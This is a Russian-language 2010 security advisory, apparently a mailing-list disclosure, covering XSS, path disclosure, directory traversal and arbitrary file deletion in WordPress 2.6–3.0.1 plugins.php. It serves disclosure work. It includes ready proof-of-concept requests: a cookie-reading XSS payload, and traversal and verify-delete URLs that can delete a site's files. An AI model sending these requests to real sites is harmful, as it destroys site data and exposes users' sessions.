Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:24819
HistoryOct 01, 2010 - 12:00 a.m.

Многочисленные уязвимости в WordPress 2 и 3

2010-10-0100:00:00
vulners.com
9

Здравствуйте 3APA3A!

Сообщаю вам о найденных мною Cross-Site Scripting, Full path disclosure, Information Leakage, Directory Traversal, Arbitrary File Deletion и Denial of Service уязвимостях в WordPress.

Для всех этих атак нужно иметь доступ к админскому аккаунту, или иметь аккаунт с правами для работы с плагинами. Или атаковать админа или другого пользователя с необходимыми правами через XSS, чтобы узнать токен, предназначенный для защиты от CSRF атак.

Проверено в WordPress 2.0.11, 2.6.2, 2.7, 2.8, 2.9.2, 3.0.1. Версии 2.0.х неуязвимы, потому что в них нет данного функционала. К разных уязвимостям уязвимы WordPress 2.6 - 3.0.1 и потенциально предыдущие версии.

Комментируя XSS уязвимость в WordPress 3.0.1 (http://www.securityfocus.com/archive/1/513250), я указал дополнительную информацию относительно XSS уязвимости. Данные нюансы относятся и к нижеприведённым уязвимостям. Атаковать можно как через параметр checked[0], так через checked[1] и т.д., а также через checked[]. В версиях WP 2.7 и выше можно использовать параметр action=delete-selected, а в версиях 2.8 и выше можно использовать также параметр action2=delete-selected.

XSS (WASC-08):

Как я указал в вышеупомянутом письме, в WordPress 2.6.x Cross-Site Scripting атака проводится по другому. И пользы от данной XSS почти никакой.

Для атаки нужно послать POST запрос к http://site/wp-admin/plugins.php с параметрами _wpnonce равному значению токена, delete-selected равному “Delete” и checked[] равному <body onload=alert(document.cookie)>.

Уязвимы WordPress 2.6.x и потенциально предыдущие версии.

Full path disclosure (WASC-13):

Для атаки нужно послать POST запрос к http://site/wp-admin/plugins.php с параметрами _wpnonce равному значению токена, delete-selected равному “Delete” и checked[] равному "1".

Уязвимы WordPress 2.6.x и потенциально предыдущие версии.

Full path disclosure (WASC-13):

http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action=delete-selected&amp;checked[]=1
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action2=delete-selected&amp;checked[]=1

Уязвимы WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 и выше).

Full path disclosure (WASC-13):

http://site/wp-admin/plugins.php

Полный путь выводится прямо на странице с плагинами.

Уязвимы WordPress 2.6 - 2.7.1.

Information Leakage (WASC-13) + Directory Traversal (WASC-33):

На странице (в списке под ссылкой Click to view entire list of files which will be deleted) выводится список файлов в текущей папке и подпапках.

В папке http://site/wp-content/plugins/:

http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action=delete-selected&amp;checked[]=
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action2=delete-selected&amp;checked[]=

В папке http://site/wp-content/:

http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action=delete-selected&amp;checked[]=../1
http://site/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action2=delete-selected&amp;checked[]=../1

Уязвимы WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 и выше). А также WordPress 2.6.х. В версиях 2.6.х нужно послать соответствующий POST запрос к http://site/wp-admin/plugins.php (как упоминалось выше).

Arbitrary File Deletion (WASC-42) + DoS (WASC-10):

Если послать вышеупомянутые запросы с параметром verify-delete=1, то можно удалить файлы и папки в текущей папке и подпапках. Учитывая Directory Traversal можно удалить как все плагины, так и другие файлы в других папках, в том числе можно провести DoS атаку на сайт (если удалить важные файлы WP). Например с запросом checked[]=…/…/1 можно удалить весь сайт.

http://site/wordpress-2.9.2/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action=delete-selected&amp;checked[]=../1&amp;verify-delete=1
http://site/wordpress-2.9.2/wp-admin/plugins.php?_wpnonce=e0dc6c722b&amp;action2=delete-selected&amp;checked[]=../1&amp;verify-delete=1

Уязвимы WordPress 2.7 - 3.0.1 (для параметра action2 - 2.8 и выше). А также WordPress 2.6.х. В версиях 2.6.х нужно послать соответствующий POST запрос к http://site/wp-admin/plugins.php (как упоминалось выше).

Дополнительная информация о данных уязвимостях у меня на сайте:
http://websecurity.com.ua/4575/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua